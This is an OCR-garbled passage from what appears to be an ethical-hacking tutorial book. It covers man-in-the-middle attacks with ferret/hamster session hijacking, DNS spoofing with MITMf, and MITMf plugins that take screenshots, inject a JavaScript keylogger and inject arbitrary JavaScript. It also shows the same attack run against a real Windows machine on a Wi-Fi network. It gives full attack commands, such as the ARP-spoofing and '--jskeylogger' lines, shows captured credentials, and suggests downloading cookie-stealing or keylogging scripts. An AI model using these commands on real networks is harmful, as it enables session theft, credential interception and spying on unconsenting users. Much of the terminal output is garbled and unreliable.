etho { Mo cription available)
any {Pse -device that captures on all interfaces)
lo (No description available)
nflog {Linux netfilter log (NFLOG} interface)
nfqueue (Linux netfilter queue (NFQUEUE) interface)
6 usbmonl (USB bus number 1)
7 usbmon?2 (USB bus number 2)

SNIFFING: eth®d

LINKTYPE: 1 Ethernet

ID-IP=[10.0.2.1], macaddr=[08:00:27:0b:91:66]
ID-MAC=[08:00:27:0b:91: ip=[106.0.2.1]
ID-IP=[10.0.2.5], macaddr=[08:00:27:0b:91:66]
ID-MAC=[0 P:27:0b:91:66], ip=[10.0.2.5]
Traffic seen

ID-IP=[10.8.2.15], macaddr=[08:00:27:0b:91:66]

We're also going to start a graphical interface, a web GUI, that will
allow us, to inject the cookies and navigate into our system's session.
To do that, we're going to use a tool called hamster, and running
hamster is even simpler than ferret. All we have to do is just run

, and we're ready to go:

So, everything is ready now. We are going to go into our target and
log in to our account. So, we are just going to pretend that we are
browsing the internet. We're going to go to Udemy. We will just go to
the website, and we'll authenticated automatically without having to
enter anything such as a username or a password. Now, let's come
back to the Terminal, and as we can see, we have managed to
capture the cookies:
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-IP=[54.254.185.174], J .ap-southeast-1.elb.amazonaws.com”
-IP=[46.51.217.231], DNS="match-7588017 .ap-southe -1l.elb.amazona com”
.251.128.145], DNS="matc 753.ap-south t-1.elb.amazonaws.com"
.5.25], DNS="match-7 753.ap-southeast-1.elb.amazonaws.com”
121], natch-7588017 .ap-southeast-1.elb.amazonaws.com"
.99], I 0 S
9.77],
guery="A",
2.156.239.8], DNS="ocsp.trustwave.com"
sp.trustwave.com”, alias="ocsp.trustwave.com.e
.156.239.8], DNS="ocsp.trustwave.co
3 ite.net", ali

-IP=[182.156.239.8], DNS g.akamai.net"
-IP=[182.156.239.32], DNS="al213.g.akamai.net"
proto="HTTP", op="GET", Host sp.trustwave.com", URL="
44y yAQUyk7dWyclKdn27sPLUS2

0 y .5 2. name="ocsp.trustwave.com"
ID-IP=[182.156.239.37 wave.com"
ID-IP=[182.156.2
proto="HTTP",
MCGQUABBRK
STRPZrMyY 8wy

We are going to copy the proxy link that hamster gave us, which is

, and we are going to go to our browser. Now, we need to

modify our proxy settings to use hamster, so in our Kali browser we're
going to go

to Preferences | Advanced | Network | Settings, and we're going to
set it to use a manual

configuration, and we're going to set the port to .

So, we're using , which is our local address, and the port is :
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Connectlon Settings x

Configure Proxies to Access the Internet
Mo proxy
Auto-detect proxy settings for this network
Use system proxy settings

® Manual proxy configuration:

HTTP Praxy: 127.0.0.1 Paort: 1234
Use this proxy server for all protocels

551 Proxy: Paort: 0

ETP Proxy: Port: 0

S0OCKS Host: Port: 0

SOCKS vd '@ SOCKS vb
Mo Proxy for:
localhost, 127.0.0.1

Example: .mozilla.org, .netnz, 192.168.1.0/24

Automatic proxy configuration URL:

Do not prempt for authentication if password is saved
Proxy ONS when using SOCKS vb

Help Cancel OK

Click OK, and then we're going to navigate to the URL given to us by
ferret, which is :

We go and select our adapter by going into adapters and entering .
Then, click Submit Query:

To start monitoring, type in the adapter name and hit the [Submit] button, This adapter must support ‘promiscuous’ mode monitoring. You
== NO may have to first configqure the adapter on the command line, especially for wifi adapters
C]'one‘i eth0 Submit Query
target
No target has
been selected
yet

We can see that here we have two targets:
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-- NO
cloned
target

[ adapters | help ]

Mo target has Status
been selected
yet Adapters: none
Packets: 0
Database: 115
Targets: 2

« 10.0.2.15

¢ 100,25

Proxy: unknown

HAMSTER 2.0 Side-jJacking

STEPS:In order to sidejack web sessions, follow these steps. FIRST, click on the adapter menu and start sniffing. SECOND, wait a few
seconds and make sure packets are being received. THIRD, wait until targets appear. FOURTH, click on that target to "clone" it's session.
FIFTH, purge the cookies from your browser just to make sure none of them conflict with the cloned targets. again

TIPS: remember to refresh this page occasoinally to see updates, and make sure to purge all cookies from the browser

WHEN SWITCHING target, ramber to close all windows in your browser and purge all cookies first

Our target is ; that's our target IP. We are going to click on it, and as
we can see in the following screenshot, on the left we have all the
URLSs that contain cookies related to our target:

10.0.2.5

leookies
= hitpdfo L"ip.v}\i:uuuu.fGTSCI-\G:!

-
(MFEWTzENMEswSTAIBg UrDgM e
- -1

= http:ffocsp.comodoca.com
[MFIwUDBOMEwwS AIBgUrDgMC
= httpi/focsp.digicert. com
(MFEWTzBNMEswSTAIBuUrDoMC
« httpaffocsp digicert.com
EwTzBENMEswSTAIRBqUrDaMC
http:ifocsp, digicert, com
'EwTzBNMEswSTAIB
http:iistatus, rapidssl. com
[MFEWTzBNMEswSTAJBgUrDgMC
http:/focsp.scalb.amazontrust.com

http:ffocsp. comodoca, com
» hitpdlocsp comodoca, com

= hitp:ffocsp digicerl. com
Y ! .

= hilp:ffocsp godaddy com

L)
L§

MFEWTzENMEswSTAIBgUrDgMC(
= hitpffocsp scalb amazontust. com
{ y o

{MEkwRzBFMEMwWOTAIRgUrDgMe
» hitpeffocsp scalb amazonbist. com

L}

HAMSTER 2.0 Side-Jacking
[ adapters | help )

STEPS:In order to sidejack web sessions. follow these steps. FIRST, click on the adapter menu and start sniffing. SECOND.
wait a few seconds and make sure packets are being received. THIRD, wait until targets appear. FOURTH., click on that target
to “clone” it's session. FIFTH. purge the cookies from your browser just to make sure none of them conflict with the cloned
targets. again
TIPS: remember to refresh this page cccasoinally to see updates, and make sure to purge all cookies from the browser
WHEN SWITCHING target, rember to close all windows in your browser and purge all cookies first
Status
Proxy: unknown
Adapters: none
Packets: 0
Database: 115
Targels: 2

v 10.0.2.15
«[10.0.2.5

Obviously, a lot of URLs listed are ad websites or ad URLs, but we
can see that one of the URLs is for Udemy.com, and if we click on it,
we will be actually logged in without having to enter a username or
password. So, we can go into the channel and do anything that the
target person is able to do without using the username and the
password, and this is all possible because we stole the cookies that
the person actually used to authenticate themselves with the website.
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DNS spoofing

In this section, we're going to learn what DNS spoofing is and how to
perform it. DNS is basically a server that converts domain names,
such as www.google.com, to the IP address of the device where the
Google website is stored. Since we're the MITM, we can have a DNS
server running on our computer and resolve DNS requests the way
we want. For example, whenever a person requests Google, we can
actually take them to another website, because we're in the middle.
So, when someone requests it, we'll actually give them an IP that we
want and then they'll see a completely different website than what
they're expecting. So, we can have a fake website running on our
own web server and get requests, for example, from live.com to that
website.

We can have a website requesting the target person to download a
backdoor; we can do anything we want, really, when we're pretending
to be another website. The possibilities of what we can do with this
attack are endless.

Let's see how we can do this. The first thing we are going to do is
redirect people to our web server. The web server is going to be
running on our local Kali machine. We can redirect people to any web
server anywhere we want, but in this section we're redirecting them to
our local web server. To do that, we're going to start Apache web
server. It comes preinstalled with Kali, so all we have to do is run
server will start.

The files for the web server are stored in the open our file manager,
and we are going to go to the page that is seen in the following
screenshot will be displayed to people who browse our web server:
, and the web

directory. We are going to directory, and the

T.me/nettrain



< > !4 www html evi-files » all=ll= @@ ©

O Recent

o evil-files 5 items 00:10
ome —

B Desklop & index. htmil 71 bytes 6 Jul

We can have a whole complete website installed in here and it will be
displayed whenever a person visits our web server. If we go to our
browser and browse to , which is our own IP address, our internal |IP,
we will see that we can see the page there. Let's configure the DNS
server that comes in with MITMf; to do that we're going to use
Leafpad, which is just a text editor, and then we're going to run

. Then, we going to scroll down to where the records are, as seen in
the following screenshot; the records are basically the records that
are responsible for transforming or translating domain names to IP
addresses:

# Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
# can also be a comma seperated list e.g 8.8.8.8,8.68.4.4

#

nameservers = 8.85.8.8

[[[A]]] # Querlies for IPv4 address records
* _thesprawl.org=192.168.178.27
* live.com=10.0.2.15

We're going to be targeting saying any subdomain to and using the
as a wildcard. So, basically we're

should be redirected to our IP address. We can replace this with any
IP address. For example, we can put the IP address of a remote
website that we have hosted on any hosting company, or we can
have it redirecting to Google, for example, if we put Google's IP. Any
IP we put here will redirect . Save the file and close it, and we are
going to run our command. It is very similar to the commands that we
were running before in previous sections. The only difference is I'm
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going to add one extra option, which is . So it's exactly the same
commands,

, and then we added one extra option, which is . The command is as
follows:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --dns

After hitting Enter, DNS spoofing is enabled. Let's go to the target and
try to go to and see what happens. As we can see in the following
screenshot, actually uses HTTPS, and it has been redirected to our
own website,

which displays some simple text, but we can install anything we want.
We can ask them to

download something, or we can have a fake page, steal stuff, and
steal credentials:

It can also be used to serve fake updates to the target person, for
example, or for backdoor downloads on the fly. There are so many
uses to DNS spoofing. This is just the basic way to do DNS spoofing,
and then we can use it and combine it with other attacks or with other
ideas to achieve really powerful attacks.

MITMf screenshot keylogger

In this section, we're going to have an example of a simple plugin that
comes in with MITMf. We are going to run , and after scrolling down
past , we will see a lot of plugins, as we can see in the following
screenshot, that we can use to do various things on the target
computer:
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Inject:
Inject arbitrary content into HTHML content

--inject Load plugin 'Inject’
--js-url 135 URL URL of the J5 to inject
--js-payload JS PAYLUAD
15 string to inject
--ijs-file JS_FILE File containing J5 to inject
--html-url HTML URL URL of the HTML to inject
--html -payload HTMI _PAYI 0AD
HTML string to inject
--html-file HTML FILE
File containing HTML to inject
--per -domadin Injecl once per domain per clienl.
--rate-limit RATE LIMIT
Inject once every RATE LIMIT seconds per client.
--count-limit COUNT LIMIT
Inject only COUNT LIMIT times per client.
Inject content ONLY for these ips (comma seperated)
DO NOT inject content for these ips (comma seperated)
--white-domains DOMAIMNS
Inject content OMLY for these domains {(comma scperated)
--black-domains DOMAINS
DO NOT inject content Tor these domains (comma Seperated)

We can use the plugin to inject code into the web pages that the
target person loads, and we'll have an example of that later. What we
want to do now is just see an example of a simple plugin, and then
we'll do more in the future. Now, for example, as we can see in the
following screenshot, we have a plugin, and this plugin takes
screenshots of each of the pages that the person uses. Whenever the
person uses a page, it takes a screenshot of that page:

Shotter:
HTML5 Canvas to render an accurate screenshot of a clients browser

--sCreen Load plugin 'ScreenSh r'
--interval SECONDS Interval at which scr hots will be taken {(default 1® seconds)

We can set up the ; that's the amount of time in which the program
should take a screenshot. It defaults to 10 seconds, so it takes a
screenshot every 10 seconds, but we can modify it using the option.

We're having a basic look at how we can use the plugins, so the first
thing we do is use the plugin name, and then we put the option that
we want to set. We're going to use the same command that we
always use, and then we're going to put the plugin name after it. The
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plugin name is going to be , and if we want to change the interval we
can put the

option. Then, we put the interval for taking the screenshots. We are
going to keep it at 10 seconds, so we are not going to do anything.
Here is the command:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 --screen We ShOU |d gO tO the ta rg et Com pUter
and browse the internet.

Go to Bing or Google and search anything, go on Images and so on.
The plugin has started taking screenshots of everything now; every
ten seconds it's taking a screenshot, and we can see in the following
screenshot that it's actually injecting the code in here every time:

Stop he process with Ctrl + C, and then we're going to go and have a
look on the screenshots that plugin has captured in the directory:

< > « B var log | mitmf » Q ||z = 000
® Recent I 2 g
o T = 10025 www.google.co.in-2018-07-17_01:28:20:1531805300.png 167.6 kB 0OL:28
i Desktop = | 10,02 5-www.google.co.in-2018-07-17_01: 28 30:1531805310.png 1720 kB 01:28
[) Documents | 10.0.2.5-www.qooqgle.co.in-2018-07-17_01: 26:40:1531805320.png 161.4 kB 0128
@ Dawenloads — .
1000, 2.5-www.qoogle.co.n=2018-07-17_0L 28:50:1531805330.png 1721 kB OL2E

J1 Music

B 10.0.2.5-www.google.co.in-2018-07-17_01: 29:35: 1531805 375.png 1.2 M8 01:29
1 Plctures
B videos B8 10.0.2.5-www.google.co.in-2018-07-17_01: 29:44:1531805384.png 12 MB oL29
@ Trash £2E5 10.0.2.5-www.google.co.in-2018-07-17_01:29:54: 1531805394 png 12MB 01:29
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We can see we have the pictures we Googled on the target:

10.0.2.5-www.google.co.in-2018-07-17_01:29:54:1531805394.png

.

- __-'"’Eﬂ_ﬂ Pr—— —ﬂ

All the images will be stored in the directory, and we can see them
and get an idea of what the person is doing on their computer. There
are other plugins that you can use.

We have , which will basically inject a keylogger into the target page,
but it's kind of useless because since we are the MITM, we can see
the usernames and passwords anyway, as well as anything else that
gets sent on the target computer. But if for any reason we wanted to
have some sort of a keylogger injected into the target computer, or
into the target website, then all we have to do is the same command
that we always run and just type in after it, and that's the keylogger
injected. Here is the command:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0 -jskeylogger

So again, we can go on the target web browser and search for
something else. Let's go to Carzone.ie and try to log in with fake
credentials. We put the email thegeniusstuff@gmail.com and the password .
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Now, obviously, again this has been captured because we're the in
the middle of the connection. If we go to the MITMf Terminal, we can
see that our JSKeylogger is detecting that stuff is being entered into
the fields called and

So again, if the target person is writing anything on any page, we will
be able to capture it using the keylogger, but since we are the MITM
we can do that using Wireshark, and analyze all the packets and see
what the person is typing.

This is another method of doing it. It's an example of how we can use
the plugins that come with MITMf. Now again, typing will give we all
the options, all the plugins that we can use, and using them is very
similar to what we have been doing. So we usually just put the option,
or the plugin name, and if we are going to set any options for it then
we set the options.

MITMf code injection

In this section, we're going to be talking about how to inject code into
the browser, into the target computer. Since we're the MITM and
since everything flows through our device, when someone requests a
page we can actually insert any type of code that we want into that
page. Browsers can run two types of code; they can run HTML code,
and they can run JavaScript code. HTML code is the code
responsible for the way that the page looks, so it's the code for the
buttons, for the text, for the images, all of that. It can't really be used
to do anything that will allow us to gain any access to the target
computer. JavaScript, on the other hand, is a programming language
that can be used to do many things, and we'll see that in later
sections. In this section, we'll see how to inject JavaScript code into
the target browser. We can use the same method to inject HTML, but
JavaScript is more useful. That's why we're going to use our example
to inject JavaScript.
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So, let's first of all run MITMf with the command, and it will show us
what options we have with the plugin, as shown in the following
screenshot: We're going to be using the same command that we
always use. The only difference is we're going to insert the plugin,
and then we have different options for injection. There are three main
options:

We can have our code stored into a file, and we can use or to inject
the code stored in the file that you specify.

Code can be stored online, and it has a URL. We can use that URL
using the or the options.

We can actually supply the code itself through the command using
the or the options.

We're going to be supplying the code through the command the first
time, and then do it using a file. We're going to be using , and then
we're going to be doing .

Our command is going to be the same as always, , and then we're
going to add the option, the plugin, which is , and then we're going to
tell it that we want to specify the code through the command. We're
going to use the , as then we can put the JavaScript code after the
option. We are going to put in our JavaScript code, and we are going
to use very simple code that will only display a message on the target
computer. Our code is not going to try to hack anything; all it's going
to do is just display a message box on the target computer, and in
further sections we'll see how we can use this option to do more
powerful attacks. So, basically, our code is going to do an

function in JavaScript, and the alert is just going to say . So, our
command is the same, it's ; our interface, ; the ; the ; and then we
loaded the plugin; and we're telling it we're specifying the code
through the command. The code that we want to run is , and that's it.
The command is as follows:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject
-js-payload “alert('test’)"
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We can check the result by going to the target system, browsing to a
normal web page, and seeing what happens. We are just going to go
to Carzone.ie, and as we can see in the following screenshot, the
page displays a message box, and that message box says test:

So again, this is very simple code that doesn't really allow us to do
anything on the target computer, but we can use it in further sections
to do more powerful attacks.

Again, we can actually Google JavaScript codes and see codes that
will be useful for us. For example, there are JavaScript keyloggers,
there are codes that can take screenshots of the target computer, and
there are a lot of other codes. You can redirect the target computer
somewhere else, steal their cookies; you can do a lot of these
powerful attacks.

Another way to run an attack is by using a file. If we are using one of
these more complicated codes, it's going to be hard to write it through
the command, so we would be better off storing the code into a file
and using the option. All we will have to do is open our Leafpad and
get our code. We are actually just going to run , and we are going to
write the same code that we did in the preceding example into a file.
We are going to make an alert pop up, . We are going to save the file
as

, and we are going to store that in our directory:
So again, if we are Googling or if we are using a more complicated
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code, we can have it all in this file, and then inject it. Run the
command as we did before; the only difference is that instead of
using the , we're going to use specify the file, the full path to the file.
We stored it in the , and we're going to

directory as . If we download a file from the internet that contains a
keylogger, for example, or a file that will redirect the target computer
to some other site, then again we use the same command, but make
sure we put and then the full path to where that file is stored. The
command is as follows:

mitmf --arp --spoof -i eth0 --gateway 10.0.2.1 --target 10.0.2.5 --inject
-js-file /root/alert.js

We will then launch this command, and MITMf will start the process.
We are going to come back to the target. Let's browse for something.
We will see that our code, the second code that we injected, which
was called , was executed on the target machine. The result of the
attack can be seen in the following screenshot:

Now, again, these are really simple codes just displaying a message
box, but we can download or look for more complicated JavaScript
codes, or just follow up in the further sections and see how we can
use this feature to carry out more powerful attacks.

MITMf against a real network
MITMf can be used against real networks exactly the same way that

we were using it against virtual networks; the only difference is we
want to make sure that you specify the right IPs, the right interface,
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and connect to the same network that the target person is connected
to. We should also go over a few points that might prevent MITMf
from working properly.

The first thing to do now is run the command to see our configuration.
We can see in the following screenshot that we have and it's
connected to our NAT network, because we configured the Kali
machine to use a NAT network:

:~# ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500
inet 10.0.2.15 netma 255.255.255.0 broadcast 10.8.2.255
inet6 fe80::a00:27ff:fedb:9166 prefixlen 64 scopeid @x20<link=
ether 08 27:0b:91:66 txqueuelen 1000 (Ethernet)
RX iets 65612 bytes 97937230 (93.4 MiB)
RX erro 0 dropped @ overruns @ frame @
TX packets 28966 bytes 1942954 (1.8 MiB)
TX errors @ dropped O overruns @ carrier @ collisions ©

lo: flags=73<UP,LO0PBACK, RUNNING= mtu 65536
inet 127.0.8.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0x1lO<host=
loop txqueuelen 1000 (Local Loopback)
RX packets 215062 bytes 123649664 (117.9 MiB)
RX erro @ dropped © overruns @ frame @
TX packets 215062 bytes 123649604 (117.9 MiB)
TX errors © dropped ® overruns 8 carrier @ collisions ©

First of all, the thing we want to do before we target a real network is
make sure that that's the only network that Kali is connected to. The
first thing that we need to do is disconnect from the network with the
IP , which is our virtual network. This is very important, and it's
actually the main thing that seems to be interfering with MITMf. The
attack might work but we will have DNS issues, or the target machine
will experience a very slow internet connection, or they'll lose their
internet connection completely. Go to Devices | Network, and look
for the tick next to the Connect Network Adapter option:
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Help

@ Dptical Drives r
by audio b
EF  Metwork Y | &Y Metwork Settings...
& use y
@a} Connect Metwork Adapter
@ Mifehcams L

The tick indicates we're connected to the network, because it
connects the network adapter. We're going to click on Connect
Network Adapter, and that's going to disconnect us from the NAT
network, as shown in the following screenshot:

et

@ Dptical Drives r

bg Audio ’

B Metwork Y | &S Metwork Settings..

&7 UsB b

@ web . (@ Connect Netwark Adapter
ebcams .

Now, if we run the command in our Kali machine, we will see that is
not connected to anything, which indicates we are offline in the Kali
machine. We can't even

anything:

:~# ifconfig
etho: flags=4099<UP,BROADCAST ,MULTICAST=> mtu 1500
ether 08:00:27:0b:91:66 txqueuelen 1000 (Ethernet)
RX packets 65657 bytes 97962620 (93.4 MiB)
RX errors © dropped @ overruns @ frame @
TX packets 29032 bytes 1985091 (1.8 MiB)
TX errors © dropped @ overruns ©® carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6é ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1800 (Local Loopback)
RX packets 217151 bytes 124031376 (118.2 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 217151 bytes 124031376 (118.2 MiB)
TX errors © dropped © overruns © carrier @ collisions ©
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The next thing that we need to do is connect to the same network that
the target machine is connected to. We are going to be targeting a
Windows machine. It's a physical computer connected to a physical
Wi-Fi network, and the name of the network is . As we mentioned
before, we can't use the internal wireless card inside VirtualBox,
inside virtual machines, so to connect to a Wi-Fi network we're going
to need to use an external wireless adapter. We are going to connect
our wireless adapter through a USB port, and then go to Devices |
USB, and connect a wireless card called ATHEROS:

Help

&) Dptical Drives r
g ~udio ’
@ Metwrark L4
& Ush P | & USE Settings..
Q YWifehcams O
Ralink 802,11 n WLAN [0101]
[l Shared Folders P | ¥ ATHEROSLEYL[0108]

Now, if we run the command, we will see that we have a new
interface called . It is a wireless card, but as we can see in the
following screenshot, the wireless card

is not connected to any network:

wlan@: flags=4099<UP,BROADCAST,MULTICAST= mtu 1500
ether Be:57:07:99:27:25 txqueuelen 1000 (Ethernet)
RX packets 272774 bytes 263093695 (250.9 MiB)

RX errors @ dropped @ overruns @ fTrame 0@
TX packets 175821 bytes 19813173 (18.8 MiB)
TX errors © dropped © overruns © carrier @ collisions ©

We need to connect to the same network that the Windows machine
is connected to. After connecting, if we run we will see that has an IP
address, and notice that the first three parts of the |IP address on Kali
are the same as the first three parts of the IP address in Windows:
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:~# ifconfig
etho: flags=4099<UP,BROADCAST,MULTICAST= mtu 1500
ether 08:00:27:0b:91:66 taquUrlrn 1000 (Ethernet)
RX packets 65657 bytes 620 (93.4 MiB)
RX er @ dropped ® overruns © Tframe @
TX packets 29032 bytes 1985091 (1.8 MiB)
TX errors © dropped ©® overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK, RUNNING> mtu 65536
inet 127.08.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid 0xlO<host=
loop txqueuelen 1000 (Local Loopback)

RX packets 219206 bytes 124374216 (118.6 MiB)

RX errors © dropped © overruns @ frame 8

TX packets 219206 bytes 124374216 (118.6 MiB}

TX errors © dropped @ overruns © carrier @ collisions @

wlan@®: flags=4163<UP,BROADCAST, RUNNING,MULTICAST= mtu 1508
inet PERISUEMONEN netmask 255.255.255.0 broadcast 192.168.0.255
ineté TeB0::5714:1bd9:8bd4a:aa73 prefixlen 64 scopeid 0x20<link=
ether 24:fd:52:3f:04:25 txqueuelen 1000 (Ethernet)
RX packets 272839 bytes 263098065 (250.9 MiB)
RX errors © dropped © overruns @ frame 8
TX packets 175841 bytes 19816065 (18.8 MiB)
TX errors © dropped @ overruns © carrier @ collisions @

Here is the IP of the Windows machine:

Wireless LAM adapter Wi-Fi:

fﬂﬂﬂp’fiﬂﬂ-ﬁpp'1+¢- DNS Suffix

Jubﬂet H__. .
Default uateu%

Basically, it means that both W|reless cards are on the same subnet,
on the same network, and now we can use to target the Windows
computer.

If we run , notice the MAC address now. Here is the correct MAC
address of the router, and when we run MITMf it should change to the
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attacker's MAC address:

C:\Users\IEUser»arp -a

Type
dynamic
dynamic

t

a
ta

o
st
=

Let's run MITMf exactly the same way as before. We're going to run .
We're going to do , give it the interface, and this time we're targeting a
real computer. We're targeting a real network, and the interface is
connected to that real network. So we're going to use for the interface
instead of . Then we are going to set the

, and that's usually the first IP in the subnet, so it'll be , and then we
are going to specify , which is the Windows machine, and it had an IP
of . The command is as follows:

mitmf --arp --spoof -i wlan0 --gateway 192.168.0.1 --target 192.168.0.3

The only difference is we're using different arguments; we're using
because is the wireless card that's connected to the target network,
we're using the that is the first IP of the same IP that we have, and
then we're using the , which is this Windows machine, and we've set
it to . After hitting Enter, we can see the old MAC address of the
router used to be ; now if we run the

command, the MAC address should change to the Kali machine's
MAC address:
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Interface:
Inter
1892 .16
162.1
19;

Ff-ff-ff-ff-ff-ff
Thls could actually take up to a minute and a half for the changes to
be reflected. Just give it some time and then check the MAC address
again if it's not reflected.

Go and browse to a website just so that we generate some traffic on
the Windows computer, so that it will go ahead and update its ARP
table. MITMf is sniffing data and it's capturing data that's sent by the
Windows machine:

[type:Microsoft-CryptoAPI-10 os:0ther] ocsp.di
[typ icr -CryptoAPTI- 1€ ther] sta
[typ icrosoft-CryptoAPI- 1€ ﬂthwr]
] -CryptoAPI-
[typ icrosoft-CryptoAPI-
[typ icrosoft-CryptoAPI- y
[typ icr -CryptoAPI- 1€ ner] ocs y.com
i -CryptoAPI-1¢ ner] o icert.com
oft-CryptoAPI- ice
[typ icrosoft-CryptoAPI-10 o uthwr] 0CSp. trust.com
[typ icrosoft-CryptoAPI- 1€ Other] ocsp. doca.com
[typ icrosoft-CryptoAPI- 1€ ther] ocs t.com
icrosoft-CryptoAPI-10 os:0ther] ocs icert.com
[typ icrosoft-CryptoAPI-10 os:0ther] ocs ert.com
[typ icroseft-CryptoAPI- 1€ Other] S .
[typ icr -CryptoAPI- 1€ ther] o icert.com
[typ icroseft-CryptoAPI- 1€ Other] ocs g "t.com
[type:Micros uft- CryptoAPI-10 os5:0ther] status.rapidssl.com

Wow

Wow

.3
- &
.3
- &
- &
- &
- &
- &
- &
- &
- &

W w

2.168.0.

[#¥)

Try to log in to an HTTP website with fake credentials on the
Windows machine. As we can see in the following screenshot, we
managed to get the email, which is

thegeniusstuff@gmail.com , and the password, which is :

MITMf worked against a computer that is connected to a real
network. The main thing to keep in mind is make sure that we are
connected to the same network as the target person. If that person is
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connected to a Wi-Fi network, make sure we are using an external
wireless adapter and we are not using a bridged or NAT network. We
need to connect through the network manager of Kali Linux, so we
need to attach the wireless card and then connect to the target
network. Also keep in mind that we should disconnect the Kali
machine from the NAT network, if it was connected to one, by going
to Devices | Network, and then uncheck the virtual adapter, because
we want to make sure that the Kali machine is isolated. We don't
want it connected to any network other than the target network.

If we run , we can see that does not have any IP addresses. The only
device that has an IP address and that's connected to the internet is :

:~# ifconfig
ethd: Tlags=4099<UP,BROADCAST,MULTICAST= mtu 1500
ether 08:00:27:0b:91:66 txqueuelen 1080 (Ethernet)
RX packets @ bytes 0 (0.8 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped © overruns @ carrier @ collisions ©

lo: Tlags=73<UP,LOOPBACK,RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté ::1 prefixlen 128 scopeid Ox10<host=
loop txqueuelen 1000 (Local Loopback)

RX packets 1487 bytes 287766 (202.8 KiB)

RX errors @ dropped @& overruns @ frame @

TX packets 1487 bytes 207766 (202.8 KiB)

TX errors @ dropped ® overruns @ carrier @ collisions @

wlan®: flags=4163<UP, BROADCAST, RUNNING,MULTICAST= mtu 1500
inet 192.168.0.2 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::5714:1bd9:8b4a:aa73 prefixlen 64 scopeid @x20<links
ether 24:fd:52:37:04:25 txqueuelen 1000 (Ethernet)
RX packets 7658 bytes 11396515 (10.8 MiB}
RX errors @ dropped @ overruns @ Trame @
TX packets 3291 bytes 335028 (327.1 KiB)
TX errors @ dropped © overruns ©® carrier @ collisions @

Once we are are done running attacks, and if we wanted to go back
to using the NAT network to target other virtual machines, or if we just
wanted to get our internet connection through the host machine, all
we have to do is just go to Devices | Network, and click on Connect
Network Adapter:
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That'll again connect our to the NAT network, and it will allow us to
use it as we were using it before. So, if we run now, we will see that
has an IP address and it's connected again to the NAT network:

# 1fconfig
4163<UP, BROADCAST , RUNNING, MULTICAST= mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255

::a00:27ff:Te@b:9166 prefixlen 64 scopeid 0x20<link=>
:27:0b:91:66 txqueuelen 1000 (Ethernet)
bytes 1520 (1.4 KiB)
; dropped @ overruns @ frame @
TX packets 13 bytes 1534 (1.4 KiB)
TX errors © dropped O overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK, RUNNING= mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox1l@<host=
loop txqueuelen 1008 (Local Loopback)
RX packets 116412 bytes 66825258 (63.7 MiB)
RX errors @ dropped @ overruns @ Tframe @
TX packets 116412 bytes 66 258 (63.7 MiB)
TX errors © dropped @ overruns @ carrier @ collisions @

wlan®: flags=4163<UP,BROADCAST, RUNNING,MULTICAST= mtu 1508
inet 192.168.0.2 netmask 255.255.255.0 broadcast 192.168.0.255
inetés f ::5714:1bd9:8 . prefixlen 64 scopeid 8x20<link=>
ether 2 d:52:37:04:25 txqueuelen 1000 (Ethernet)
RX packets 8509 bytes 11678219 (11.1 MiB})
RX errors @ dropped @ overruns @ frame @
TX cets 3348 bytes 364900 (356.3 KiB)
TX errors © dropped @ overruns @ carrier @ collisions @

Wireshark

In this section, we're going to talk about a tool called Wireshark.
Wireshark is a network protocol analyzer. It's not designed for
hackers, and it's not designed for hacking and spying on other people
on the network. It's designed for network administrators so that they
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can see what's happening in their network and make sure that
everything is working properly, and that nobody is doing anything bad
or suspicious on the network. The way that Wireshark works is it
allows you to select an interface and then logs all the packets, or all
the traffic, that flows through that interface. So, we are selecting an
interface (it could be a wireless card, or it could be a wired card on
our current computer), and then it'll start logging all the information
that flows through that interface. It also has a really nice graphical
interface that allows us to analyze this traffic, so it allows us to filter
these packets based on the protocol used in them, such as HTTP or
TCP. It also allows us to look for certain things, such as cookies or or
requests, and it also allows us to search through these packets. We
can search through the information that's stored in the packets, and
find the things that we are looking for. This tool has a vast number of
applications, and we might need a entire book to cover them all, so in
this book we're actually going to use it in just a few sections, just
covering the basics and the things that are related to us.

The main idea here is that Wireshark is not a hacking tool. It only
allows us to capture the traffic that flows through our own computer,
or interface. So, we are just going to go to Kali, and we're going to
start Wireshark. We can run the command from the Terminal. First of
all, you can actually just go to File | Open, and in here you can open
a file that we've already captured. For example, you may have
captured packets using a different sniffer, such as Airodump, MITMf,
or TShark, which is the Terminal part of Wireshark.

If we captured packets using any of these programs and you stored it
in a file, we can just come in here, open it, and start analyzing that
file:

T.me/nettrain



Wireshark - Open Capture File [ ]

Look in: B /root | & > 4 W I =
B Computer  Name * Size Type Date M*
= root & Public Folder  4/26/1
) = Templates Folder  4/26/1
£l Videos Folder  4/26/1
= sniff-2018-07-16-eth.pcap 43..MIiB pcap File 7/16/1
s test-upc-Ol.cap 3.60 MiB cap File 7/5/18
w= test-upc-02.cap 301..KiB cap File 7/5/18
L] ¥ >
B Open
File name: | SRPED
® Cancel
Files of type:  Wireshark/tcpdump/... - pcap (*.dmp *.cap *.pcap) » @ Help
Automatically detect file type -

Read filter:  Apply a read filter ...

This is really handy because sometimes we don't really want to
analyze the traffic on the fly. Sometimes we just want to capture traffic
from a small laptop, or from our phone, and we may not even be at
home. We may be somewhere else doing our pen test, and then we
go back home and then we want to analyze what we captured. In
such cases, we can store that in a file and then just open Wireshark
and open the file that we want to analyze. The main idea here is that
Wireshark is not a hacking tool, it's not going to capture things
